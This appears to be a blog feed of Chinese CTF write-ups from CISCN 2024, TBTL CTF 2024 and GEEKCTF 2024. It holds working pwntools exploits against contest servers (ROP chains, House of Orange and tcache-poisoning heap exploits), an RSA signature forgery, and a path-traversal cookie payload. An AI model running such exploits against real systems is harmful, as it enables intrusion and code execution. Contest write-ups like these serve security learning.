阅读视图

发现新文章,点击刷新页面。

第十七届全国大学生信息安全竞赛创新实践能力赛初赛 Writeup

✇BeaCox
作者 BeaCox

梦开始的比赛。去年纯小白直接参赛,结果自然是被血虐。之后开始慢慢学,今年总算是做出些题。不过难一些的 PWN 题还是做不出……( ),就多练。

Misc

火锅链观光打卡

签到题。

浏览器安装一个 MetaMask 钱包用于区块链操作。连接钱包后答题,收集任意7个不同食材图片后,点击兑换 NFT ,得到含 flag 的图片:
hotpot
得到 flag :

1
flag{y0u_ar3_hotpot_K1ng}

Power_Trajectory_Diagram

这是一道基于功耗分析的侧信道攻击题,搜索相关关键词,在看雪上找到一篇文章。根据文章内容可知,输入密码逐位比对,输入正确时和错误时功耗曲线有明显不同。

将得到的 npz 加载后打印数据,发现一共有13*40组数据,40对应着40个字符,猜测13为密码位数。打印所有功耗曲线,可以发现:
trace36
trace37
每40组曲线中,会有一组曲线的最大波动处横坐标明显右移,例如上图第37组曲线最大波动处相比于第36组以及其他1-40组的最大波动处都有一定程度右移。推测是密码错误时会出现最大波动,而第37组最大波动右移代表着当前输入的密码字符是正确的,错误发生在下一位。
使用这种方法可以找到每40组曲线中最特殊的一组,并映射为相应的字符。(除了第481组到第520组,因此认为密码只有12位)
特殊曲线到字符的映射脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
data = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'_', '!', '@', '#']

list = [
37,
43,
89,
139,
163,
214,
277,
309,
347,
389,
431,
477
]

password = ''
for i in range(12):
tmp = list[i] - i*40 -1
print(tmp)
password += data[tmp]

print(password)

得到结果_ciscn_2024_,因此 flag 为:

1
flag{_ciscn_2024_}

Crypto

古典密码

题目给了一个字符串AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9,没有说明经过何种处理。
放到 CyberChef 选择 Encrption / Encoding 逐个尝试,用 Atbash Cipher 解密后 Base64 解码,得到:

1
fa{2b838a-97ad-e9f743lgbb07-ce47-6e02804c}

根据题目的提示想到栅栏密码,将字符串对半分,然后Z形拼接就能得到 flag:

1
flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

Reverse

gdb_debug

IDA反编译,注意到程序中设置随机数种子的代码:

1
2
v3 = time(0LL);
srand(v3 & 0xF0000000);

实际上随机数种子恒为0x60000000,因此该程序中的随机数都可以确定,可以使用 ctypes 来调用 libc 库设置相应的随机数种子,获取每一次调用 rand() 返回的随机数。剩下的就是根据反编译的程序使用 z3 进行约束求解,exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
from z3 import *
from ctypes import *

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0x60000000)

# Initialization
flag_len = 38
solver = Solver()

# Create a list of BitVec variables to represent the flag
flag_chars = [BitVec(f'flag_{i}', 8) for i in range(flag_len)]

# Add constraints
solver.add(flag_chars[0] == ord('f'))
solver.add(flag_chars[1] == ord('l'))
solver.add(flag_chars[2] == ord('a'))
solver.add(flag_chars[3] == ord('g'))
solver.add(flag_chars[4] == ord('{'))
solver.add(flag_chars[flag_len-1] == ord('}'))

# Step 1: XOR with rand
v28 = [BitVec(f'v28_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
random_val = libc.rand() & 0xff
solver.add(v28[i] == flag_chars[i] ^ random_val)

# Step 2: Shuffle array s
ptr = [i for i in range(flag_len)]
k = flag_len - 1
while k >= 0:
v18 = (libc.rand() % (k + 1)) & 0xff
v19 = ptr[k]
ptr[k] = ptr[v18]
ptr[v18] = v19
k -= 1

val1 = [
0xd8, 0xe0, 0x19, 0xe8, 0xcd, 0x9f, 0x6d, 0x65,
0xb8, 0x11, 0x81, 0xc8, 0x6e, 0xd0, 0xdb, 0xf8,
0x6b, 0xf9, 0x7d, 0xd2, 0xd6, 0xd5, 0x0f, 0x89,
0x1e, 0x34, 0x6a, 0xc5, 0xfd, 0xc1, 0xe9, 0x26,
0xd0, 0xba, 0xfa, 0x99, 0xe7, 0x06
]

val2 = [0x6, 0x4a, 0x5b, 0x14, 0xc4, 0x77, 0xdf, 0x63, 0xb5, 0x82, 0xe0, 0x3c, 0x4a, 0x99, 0xce, 0xf9, 0xbc, 0x52, 0x79, 0xca, 0x19, 0x3c, 0xda, 0x1f, 0x2d, 0xfe, 0x93, 0xef, 0xa3, 0x2b, 0xc4, 0x1a, 0x44, 0xd5, 0xc2, 0x4, 0xbf, 0xec]

random_vals = [0] * flag_len
for i in range(flag_len):
random_vals[i] = val1[i] ^ val2[i]

# *((_BYTE *)v31 + m) = *((_BYTE *)v28 + *((unsigned __int8 *)ptr + m));
v31 = [BitVec(f'v31_{i}', 8) for i in range(flag_len)]
for m in range(flag_len):
solver.add(v31[m] == (v28[ptr[m]] ) ^ (random_vals[m]) & 0xff)

# s1[ii] = *((_BYTE *)v31 + ii) ^ v32[ii];
v32 = [0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78]
s1 = [BitVec(f's1_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
solver.add(s1[i] == v31[i] ^ v32[i])

s2 = "congratulationstoyoucongratulationstoy"
for i in range(flag_len):
solver.add(s1[i] == ord(s2[i]))

if solver.check() == sat:
model = solver.model()
flag = ''.join([chr(model[flag_chars[i]].as_long()) for i in range(flag_len)])
print(f'flag: {flag}')
else:
print('unsat')

其中第三次获取38个随机数时,我使用 ctypes 得到的随机数与实际的随机数不符,因此直接在 gdb 中打印 v31 这个数组在与随机数异或前后的值,得到第三轮的38个随机数。不清楚是什么导致了这种差异,但或许这就是题目提示“动静结合”的原因?
最后得到flag:

1
flag{78bace5989660ee38f1fd980a4b4fbcd}

Pwn

gostack

一道简单的栈溢出+ROP题目,一开始被 golang 唬住了,逆向了一会儿没找到缓冲区的大小,然后直接在 gdb 中看就清楚多了。
首先checksec:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

有栈溢出 + 没有canary + 没有PIE + gadgets = 简单 ROP
找到要用的gadgets,构造 ROP chain ;在 gdb 中计算出缓冲区开头与返回地址的距离为0x1d0字节,加上填充就得到 payload。exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.binary = binary = ELF('./gostack')
# context.log_level = 'critical'

syscall = 0x0000000000404043
pop_rax = 0x000000000040f984
pop_rsi = 0x000000000042138a
pop_rdx = 0x00000000004944ec
pop_rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
read_func = 0x46178d
bss = binary.bss()

# p = binary.process()
p = remote('8.147.129.254', 29507)
# read(0, bss, 0x100)
rop_chain = flat(pop_rdi_r14_r13_r12_rbp_rbx, 0, 0, 0, 0, 0, 0, pop_rsi, bss, pop_rdx, 8, read_func)
# execve(bss, 0, 0)
rop_chain += flat(pop_rdi_r14_r13_r12_rbp_rbx, bss, 0, 0, 0, 0, 0, pop_rsi, 0, pop_rdx, 0, pop_rax, 59, syscall)
payload = b'\x00' * 0x1d0 + rop_chain
payload = payload.ljust(0x1000, b'\x00')
p.recvuntil(b'message :')
# gdb.attach(p, '''b *0x4a0a9e''')
p.sendline(payload)
p.recvuntil(b'message :')
p.sendline(b'/bin/sh\x00')
p.interactive()

syscall 但是没有 syscall ; ret ,因此我们的 ROP chain 最多只能有一次 raw syscall ,因此 read 选择使用函数地址而不是 raw syscall。get shell 之后得到 flag :

1
flag{08c559f9-81f7-4c74-a983-9eb59502de34}

orange_cat_diary

首先用 IDA 反编译程序,在程序中发现以下漏洞:

  1. heap overflow(8字节的溢出)
  2. UAF(只能使用一次,因为只能 delete 一次)
    • write after free
    • read after free

再根据题目名称的提示可以知道,可以使用 House of Orange 进行攻击(利用 heap overflow 和 read after free),泄露出 libc 地址和堆地址。由于 libc 的版本为2.23,因此最简便的方法就是劫持 __malloc_hook 。使用 pwndbg 的 find_fake_fast 命令找到用于覆盖 __malloc_hook 内容的 fast bin 地址,然后利用 write after free 劫持 fast bin ,使其返回该 chunk ,然后将__realloc_hook写为one_gadget,将__malloc_hook写为realloc,这样做更容易满足one_gadget条件。
利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

# all protections are enabled
# heap overflow
# we can only use show and delete once

context.binary = binary = ELF('./orange_cat_diary')
libc = binary.libc
# context.log_level = 'critical'

libc_offset = 0x3c5158
malloc_hook_offset = 0x3c4b10
one_gadget_offset = 0xf1247

# p = binary.process()
p = remote('8.147.129.254', 25553)
p.recvuntil(b'Please tell me your name.\n')
p.sendline(b'BeaCox')

def menu():
p.recvuntil(b'###orange_cat_diary###')
p.recvuntil(b'Please input your choice:')

def add(size, content):
menu()
p.sendline(b'1')
p.recvuntil(b'Please input the length of the diary content:')
p.sendline(str(size).encode())
p.recvuntil(b'Please enter the diary content:\n')
p.send(content)

def show():
menu()
p.sendline(b'2')

def delete():
menu()
p.sendline(b'3')

def edit(size, content):
menu()
p.sendline(b'4')
p.recvuntil(b'Please input the length of the diary content:')
p.sendline(str(size).encode())
p.recvuntil(b'Please enter the diary content:\n')
p.send(content)

# House of Orange
add(0x400-8, b'A'*(0x400-16) + p64(0x0))
payload = b'A'*(0x400-16) + p64(0x0) + p64(0xc01)
edit(0x400, payload)
add(0x1000, b'\n')
add(0x68, b'\n')
show()
p.recv(8)
libc_leak = u64(p.recv(8))
info(f'libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
info(f'libc_base: {hex(libc.address)}')
malloc_hook_addr = libc.symbols['__malloc_hook']
info(f'malloc_hook_addr: {hex(malloc_hook_addr)}')
fake_bin_addr = malloc_hook_addr - 0x23
heap_leak = u64(p.recv(8))
info(f'heap_leak: {hex(heap_leak)}')
one_gadget = libc.address + one_gadget_offset
info(f'one_gadget: {hex(one_gadget)}')
realloc = libc.sym['realloc']
info(f'realloc: {hex(realloc)}')

# overwrite __malloc_hook and __realloc_hook
delete()
edit(0x68, p64(fake_bin_addr) + p64(fake_bin_addr) + b'\n')
add(0x68, cyclic(0x68))
payload = b'a'*0xb + p64(one_gadget) + p64(realloc)
add(0x68, payload + b'\n')
# gdb.attach(p, '')
p.send(b'1')

p.interactive()

get shell 并得到 flag :

1
flag{2a6de11d-8a93-484d-9444-7d1046c55134}

EzHeap

我刚开始放 payload 的堆选了0x80大小,根本放不下 ROP chain ,直接导致比赛结束时没来得及将这题做完,赛后十来分钟改了个大小就打通了。

又一道堆题,但是使用 seccomp 限制了系统调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ seccomp-tools dump ./EzHeap
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0010
0009: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

因此很容易想到先用 mprotect 更改页面权限,然后 orw 直接读 flag。但是我最后没有使用 mprotect ,直接在栈上构造 ROP chain 来进行 orw 。

分析程序,发现漏洞:

  1. 极大 heap overflow
  2. 输入无 0 截断可导致相邻内存泄漏

而且最多允许我们 malloc 80个堆块,因此应该有不少利用方法。我主要利用 tcache poisoning 。攻击思路如下:

  • 首先利用堆溢出和相邻内存泄露,通过程序内已经有的 unsorted bins 等堆块,泄露 libc 和 heap 地址

  • 计算 libc 中 __environ 的地址,利用 tcache poisoning 获得该地址处的堆块进行读,泄露 stack 地址

    libc 版本为2.35,因此要手动 safe link

  • 在某个堆块中写入 flag\x00 用于 orw ,搜集 gadgets 构造 ROP chain 。值得注意的是不能直接调用库函数 orw ,因为库函数的open 往往使用 openat 系统调用,会被禁止。因此我直接选择全部使用 syscall ; ret gadget ,这也是导致我 payload 巨大的原因。

  • malloc_heap 操作对应函数的 ret 处下断点,计算此时 stack 地址与泄露 stack 地址的偏移,然后再利用 tcache poisoning 获得目标地址附近(target_stack-0x8,因为要16字节对齐且不能破坏canary)的堆块进行写。payload 为 8 字节的 rbp 填充加上 ROP chain 。malloc_heap 返回时会被劫持到该 ROP chain 。

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import *

context.binary = binary = ELF('./EzHeap')
libc = binary.libc
# context.log_level = 'critical'

libc_offset = 0x21ace0
heap_offset = 0x1040
tcache_50_offset = 0x4d0
tcache_110_offset = 0x2420
heap_flag_offset = 0x2420
stack_offset = 0x170

# p = binary.process()
p = remote('8.147.133.76', 13951)

def menu():
p.recvuntil(b'choice >> ')

def malloc_heap(size, content):
menu()
p.sendline(b'1')
p.recvuntil(b'size:')
p.sendline(str(size).encode())
p.recvuntil(b'content:')
p.send(content)

def free_heap(index):
menu()
p.sendline(b'2')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())

def edit_heap(index, size, content):
menu()
p.sendline(b'3')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())
p.recvuntil(b'size:')
p.sendline(str(size).encode())
p.recvuntil(b'content:')
p.send(content)

def show_heap(index):
menu()
p.sendline(b'4')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())

def exit_program():
menu()
p.sendline(b'5')

def mangle(pos, ptr, page_offset=0):
return ((pos >> 12) + page_offset) ^ ptr

def demangle(ptr, page_offset=0):
pos = (ptr >> 12) + page_offset
m = pos ^ ptr
return m >> 24 ^ m

def leak_heap_libc():
global heap_leak, libc_leak
# idx 0
malloc_heap(0x40, b'A'*0x40)
edit_heap(0, 0x50, b'A'*0x50)
show_heap(0)
p.recvuntil(b'A'*0x50)
libc_leak = u64(p.recv(6).ljust(8, b'\x00'))
edit_heap(0, 0xd0, b'B'*0xd0)
show_heap(0)
p.recvuntil(b'B'*0xd0)
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
payload = b'A'*0x40 + p64(0) + p64(0xa1) + p64(libc_leak) + p64(libc_leak)
payload = payload.ljust(0xd0, b'\x00')
edit_heap(0, 0xd0, payload)

### stage1: leak libc and heap
leak_heap_libc()
info(f'[LEAK] heap_leak: {hex(heap_leak)}')
info(f'[LEAK] libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
heap_base = heap_leak - heap_offset
info(f'[CALC] libc_base: {hex(libc.address)}')
info(f'[CALC] heap_base: {hex(heap_base)}')
environ_addr = libc.sym['__environ']
info(f'[CALC] environ_addr: {hex(environ_addr)}')

### stage2: leak stack
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2
malloc_heap(0x40, b'C'*0x40)
free_heap(2)
free_heap(1)
mangled_environ_addr = mangle(heap_base + tcache_50_offset, environ_addr - 0x40)
info(f'[CALC] mangled_environ_addr: {hex(mangled_environ_addr)}')
payload = 0x40 * b'A' + p64(0) + p64(0x51) + p64(mangled_environ_addr)
edit_heap(0, 0x58, payload)
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2(environ_addr - 0x40)
malloc_heap(0x40, b'C'*0x40)
show_heap(2)
p.recvuntil(b'C'*0x40)
stack_leak = u64(p.recv(6).ljust(8, b'\x00'))
info(f'[LEAK] stack_leak: {hex(stack_leak)}')

### stage3: overwrite stack with rop chain
# idx3
malloc_heap(0x100, b'D'*0x100)
# idx4
malloc_heap(0x100, b'E'*0x100)
# idx5
malloc_heap(0x100, b'F'*0x100)
free_heap(5)
free_heap(4)
target_stack = stack_leak - stack_offset
info(f'[CALC] target_stack: {hex(target_stack)}')
mangled_stack = mangle(heap_base + tcache_110_offset, target_stack-0x8)
info(f'[CALC] mangled_stack: {hex(mangled_stack)}')
payload = 0x100 * b'A' + p64(1) + p64(0x91) + p64(mangled_stack)
edit_heap(3, 0x118, payload)
# idx4
# gdb.attach(p)
malloc_heap(0x100, b'flag\x00'.ljust(0x100, b'\x00'))
# idx5(target_stack-0x20)
payload = p64(stack_leak)
flag_addr = heap_base + heap_flag_offset
rop = ROP(libc)
# raw orw
syscall_gadget = rop.find_gadget(['syscall', 'ret']).address
pop_rax = rop.find_gadget(['pop rax', 'ret']).address
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address
# pop_rdx = rop.find_gadget(['pop rdx', 'ret']).address
pop_rdx_r12 = libc.address + 0x000000000011f2e7
# open('flag.txt', 0, 0)
payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) + p64(0)+ p64(pop_rax) + p64(2) + p64(syscall_gadget)
# read(3, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(0) + p64(syscall_gadget)
# write(1, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(1) + p64(syscall_gadget)
payload += rop.chain()
payload = payload.ljust(0x100, b'\x00')
# gdb.attach(p, 'b *$rebase(0x16cd)')
malloc_heap(0x100, payload)
flag = p.recvuntil(b'}')
success(f'[FLAG] {flag.decode()}')

最后得到 flag :

1
flag{c9112d19-27e3-41ec-9957-fefb3f109229}

TBTL CTF 2024 WriteUp

✇BeaCox
作者 BeaCox

前言

在 discord 上认识了一群来自世界各地的 ctfer,不过大家都不是什么老赛棍,just ctf for fun!
有人在频道里提议参加TBTL CTF 2024,然后就组了个队。比赛时间2天,实际上没什么时间打,做了几个方向的新手友好题。不过队里有个哥们 web 方向 3/4,最后队伍排名36。

最终排名

Tower of Babel

这是一道简单的社工题。

mp3 文件里有这道题的提示:

该标志的格式如常,我们的合作伙伴云海连锁控股有限公司总部位于海南岛海口附近。找到距离他们的办事处最近的银行。标志内的内容是该银行的统一社会信用代码。代码已以91开始,以56结束。

首先搜这家公司,可以通过这个网站找到其地址,打开高德地图搜索“云海链8831栋”可以找到该公司位置,然后再搜周边——银行,可以看到最近的银行是海南澄迈农村商业银行股份有限公司科技支行。

然后我们搜索其社会信用代码,得到91469027MA5TRBAW56

因此 flag 为 TBTL{91469027MA5TRBAW56}

Wikipedia Signatures

这是一道非常简单的数字签名攻击题目。我们的目标是获取bytes_to_long(b'I challenge you to sign this message!')的数字签名。同时,我们可以提供任何消息给签名者进行数字签名,因此很容易想到这是 RSA 数字签名中的选择消息攻击

我们假设m = bytes_to_long(b'I challenge you to sign this message!') ,我们的目标是获取其数字签名:

$$ s = m^{d};mod;n$$

  • 首先,我们让签名者为任意选择的消息 m1 进行签名(这里我选用m1 = bytes_to_long(b'BeaCox')),获取对应的签名:

    $$s_1=m_{1}^{d};mod;n$$

  • 然后,我们计算

    $$m_2:=m⋅m_{1}^{−1};mod;n$$

    并让签名者为其签名,得到

    $$s_2=m_2^d;mod;n$$​

  • 由于

    $$s≡s1⋅s2≡m_1^d⋅m_2^d≡m_1^d⋅(m⋅m_1^{-1})^d≡m_1^d⋅m^d⋅m_1^{-d}≡m^d;(mod;n)$$

    我们很容易得到

    $$s=s1⋅s2;mod;n$$

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# https://crypto.stackexchange.com/questions/35644/chosen-message-attack-rsa-signature
from pwn import *
from Crypto.Util.number import inverse, bytes_to_long

p = remote('0.cloud.chals.io', 31148)

def find_m2(m, n, m1):
m1_inv = inverse(m1, n)
m2 = (m * m1_inv) % n
return m2

def get_n():
p.recvuntil(b"RSA public key: (")
n = p.recvuntil(b",", drop=True)
p.recvuntil(b'Sign any other message using wikipedia-RSA')
return int(n)

def menu():
p.recvuntil(b'> ')

def sign(message):
menu()
p.sendline(f'2 {message}'.encode())
return int(p.recvline().strip())

def win(signature):
menu()
p.sendline(f'1 {signature}'.encode())

m = bytes_to_long(b'I challenge you to sign this message!')
n = get_n()
m1 = bytes_to_long(b'BeaCox')
m2 = find_m2(m, n, m1)

s1 = sign(m1)
s2 = sign(m2)
signature = (s1 * s2) % n
win(signature)
p.interactive()
# TBTL{r3p347_4f73r_m3-d16174l_516n47ur3_15_n07_3ncryp710n}

Floo Powder

这是一道简单的逆向题。从 ida 获取静态的数组,然后根据反编译的代码写 z3 的约束,编写 python 脚本来得到正确的输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# input is 31*31 bit(0 or 1) string
from pwn import *
from z3 import *

data = [
0x04CA4952, 0x69745A2A, 0x434A2A90, 0x36D0A9C7, 0x1002DAC8,
0x04933AEB, 0x71A29525, 0x6DA8D531, 0x69259680, 0x2179213C,
0x5D8A6097, 0x6ACA2822, 0x5495ED02, 0x255A2CD5, 0x16B5625A,
0x2E8A8ABA, 0x2D6F5EB4, 0x557CD952, 0x2CB4E495, 0x020D29B9,
0x0E8B2854, 0x4646C159, 0x47749281, 0x54229D46, 0x6C1CD620,
0x07F80EFF, 0x04AD46A4, 0x32EBC04E, 0x4FAC1623, 0x600E1F04,
0x24CD3000
]

# z3 init the input
input = [BitVec(f"input{i}", 1) for i in range(31*31)]
s = Solver()

def important_func(o_i, i_i, count):
# print(f"index1: {index1}, index2: {index2}")
# ( (input[31 * o_i + i_i] == 49) == (((data[count / 31] >> (31 - count % 31 - 1)) & 1) != 0) )
s.add((input[31 * o_i + i_i] == 1) == (((data[count // 31] >> (31 - count % 31 - 1)) & 1) != 0))

outside_index = 0
inside_index = 0
count = 0
v9 = 1

while (outside_index < 31 and inside_index < 31):
important_func(outside_index, inside_index, count)
count += 1
if v9 == 1:
v10 = outside_index - 1
v11 = inside_index + 1
else:
v10 = outside_index + 1
v11 = inside_index - 1

if v10 < 0 or v10 == 31 or v11 < 0 or v11 == 31:
if v9 == 1:
outside_index += inside_index == 30
inside_index += inside_index < 30
else:
inside_index += outside_index == 30
outside_index += outside_index < 30
v9 = 1 - v9
else:
outside_index = v10
inside_index = v11

flag = ""
if s.check() == sat:
m = s.model()
for i in range(31*31):
flag += str(m[input[i]])
print(flag)

我们会得到一个 31*31 的由0和1组成的矩阵:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0000000000000000000000000000000
0111111100100011010010011111110
0100000101101100111100010000010
0101110100111001100001010111010
0101110101101010111100010111010
0101110100010110000001010111010
0100000101010011100001010000010
0111111101010101010101011111110
0000000000000100110111000000000
0111110111110110001011101010100
0001001010100010010001111111100
0101000110101111111101001100000
0100110011111000100100100110100
0001010101101010101111001011000
0000011001110110011001000101000
0111000100100011101001010111000
0111110001010100010000011110110
0100101111000111000000000110100
0101101000100011011011101110100
0100011100011101101001111011000
0101100011011001100001101010100
0100100100111000110001111101000
0000000001010110000111000101000
0111111101100011110011010100000
0100000100000110010101000100000
0101110101000101101101111111110
0101110101000000010011101110110
0101110101111100100111011100100
0100000101101001110010101000100
0111111101111000111110011111000
0000000000000000000000000000000

可以看到这个矩阵的周围一圈都是0,如果把周围这一圈0都去掉,那么就是一个29*29的矩阵。把0看成白色,1看成黑色,那么这个矩阵看起来就是一个29*29的第三代二维码,写脚本将01矩阵转换为二维码图片:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# convert to qrcode
from PIL import Image
MAX = 31
pic = Image.new("RGB",(MAX, MAX))
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(flag[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
# TBTL{Wh47_D1d_H3_5aY_D34r?_D14g0nal1y...}

扫描二维码就可以获得 flag 。

Enough with the averages

这是一道利用了scanf函数特性的pwn题。

这道题允许我们输入20个4字节长的整数,然后输出这20个整数的平均值。但是存储这些整数的内存区域含有先前读取的flag。

这个程序使用20个 __isoc99_scanf("%d", &v3[i]); 来读取我们的输入。如果我们输入了一个字符,那么从此以后的scanf都会直接返回-1,导致对应内存区域的4字节为原来的值,最终导致内存泄漏。

我的想法是:首先输入19个0,然后输入一个a,就可以得到目标内存区域的第20个4字节(data[19]);然后启动另一个程序,输入18个0,然后输入一个a,就可以得到data[18]+data[19],计算可得data[18],依次类推可以得到目标区域的所有20*4个字节。然后就可以重构出flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context.binary = binary = ELF('./chall')
context.log_level = 'critical'

# we need record 20 int numbers
numbers = [0] * 20
sum = 0

def input(number):
p.sendlineafter(b':', number)

def recv_average():
p.recvuntil(b'Average score is ')
byte_string = p.recvline().strip()[:-1]
return float(byte_string)

for i in range(16):
# p = binary.process()
p = remote('0.cloud.chals.io', 10198)

zeros = 19 - i
print(f'zeros: {zeros}')
# input zeros times of 0
for _ in range(zeros):
input(b'0')
input(b'a')
average_score = recv_average()
print(f'average_score: {average_score}')
tmp = sum
sum = average_score * 20
numbers[zeros] = int(sum - tmp)
if numbers[zeros] < 0:
numbers[zeros] = 0x100000000 + numbers[zeros]
print(f'numbers[{zeros}]: {hex(numbers[zeros])}')
p.close()

flag = b''

for i in range(4, 20):
char1 = numbers[i] & 0xff
char2 = (numbers[i] >> 8) & 0xff
char3 = (numbers[i] >> 16) & 0xff
char4 = (numbers[i] >> 24) & 0xff
flag += bytes([char1, char2, char3, char4])

print(flag)
# TBTL{e4t_Y0ur_vegG13s_1n1714l1z3_y0ur_d4rn_v4r14bl35}

总结

Fun!!! 感谢主办方,难度梯度做得很好。

SJTU CTF 2024 暨 GEEKCTF 2024 WriteUp

✇BeaCox
作者 BeaCox

前言

记录一下打CTF以来做出题目最多的一次。这次的题目是 SJTU CTF 2024 校内赛和第一届 GEEKCTF 共用的。所有题目都可以在GEEKCTF官网找到,由于我是在校内平台做的,flag可能会略有不同,但是解题的方法应该是一样的。

WEB

Secrets

本题的漏洞点是任意文件读取+特殊字符绕过upper/lower。

攻击流程如下:

选一个主题后,在登录页面抓包,发现有一个redirectCustomAsset路由

1
2
3
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: asset=assets/css/pico.cyan.min.css

看上去是用来读取不同主题的css文件,但是是相对于网站根目录的相对路径。因此猜测可以读取网站目录下的所有文件。

在登陆页面查看网页源代码,发现body后面有一串看不懂的编码,放到cyberchef里一个个试发现是Base85:

解码结果

其中比较重要的是app.py和populate.py。

Cookie改成asset=app.py会回显hacker,改成asset=assets/css/../../app.py即可得到网站的源代码。

app.py里面硬编码了用户名和密码:

1
2
3
4
5
6
7
def isEqual(a, b):
return a.lower() != b.lower() and a.upper() == b.upper()
……
if isEqual(username, "alice") and isEqual(password, "start2024"):
session["logged_in"] = True
session["role"] = "user"
return redirect("/")

但是isEqual要求用户名和密码都需要满足小写化后不等于硬编码的用户名/密码,大写化后又要等于。第一眼看懵了,小写不相等但是大写相等?问下claude:

claude结果

进一步搜索发现upper对unicode特殊字符的处理有些问题,用unicode包裹起来才会得到正确的大写。不过claude给的字符似乎不对,直接用Python遍历unicode字符好了:

1
2
3
4
5
6
7
8
9
10
11
12
def find_replacement_char(ch):
# 遍历 Unicode 字符范围 0x0000 到 0x10FFFF
for i in range(0x110000):
try:
char = chr(i)
